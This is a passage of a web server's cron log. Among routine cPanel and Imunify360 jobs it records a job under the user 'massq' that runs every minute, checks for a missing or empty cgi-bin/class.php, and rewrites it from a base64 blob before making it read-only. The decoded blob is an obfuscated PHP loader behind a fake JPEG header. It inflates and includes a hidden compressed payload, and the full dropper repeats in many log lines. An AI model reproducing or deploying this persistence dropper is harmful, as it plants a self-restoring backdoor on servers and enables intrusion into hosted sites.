U0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:21:01 server CROND[30862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:21:01 server CROND[30863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:22:01 server CROND[31244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:22:01 server CROND[31245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:22:01 server CROND[31246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:23:01 server CROND[31637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:23:01 server CROND[31638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:23:01 server CROND[31645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:24:01 server CROND[32021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:24:01 server CROND[32022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:24:01 server CROND[32023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:25:01 server CROND[32426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:25:01 server CROND[32428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:25:01 server CROND[32427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:25:01 server CROND[32431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:25:01 server CROND[32430]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:25:01 server CROND[32433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:25:01 server CROND[32429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:25:01 server CROND[32432]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 02:26:01 server CROND[843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:26:01 server CROND[844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:26:01 server CROND[845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:27:01 server CROND[1309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:27:01 server CROND[1313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:27:01 server CROND[1311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:27:01 server CROND[1310]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 02:28:01 server CROND[1696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:28:01 server CROND[1697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:28:01 server CROND[1698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:29:01 server CROND[2102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:29:01 server CROND[2103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:29:01 server CROND[2104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:30:01 server CROND[2620]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:30:01 server CROND[2623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:30:01 server CROND[2626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:30:01 server CROND[2625]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:30:01 server CROND[2622]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:30:01 server CROND[2624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:30:01 server CROND[2628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:30:01 server CROND[2629]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:31:01 server CROND[3555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:31:01 server CROND[3556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:31:01 server CROND[3557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:32:01 server CROND[3938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:32:01 server CROND[3939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:32:01 server CROND[3940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:33:01 server CROND[4361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:33:01 server CROND[4362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:33:01 server CROND[4363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
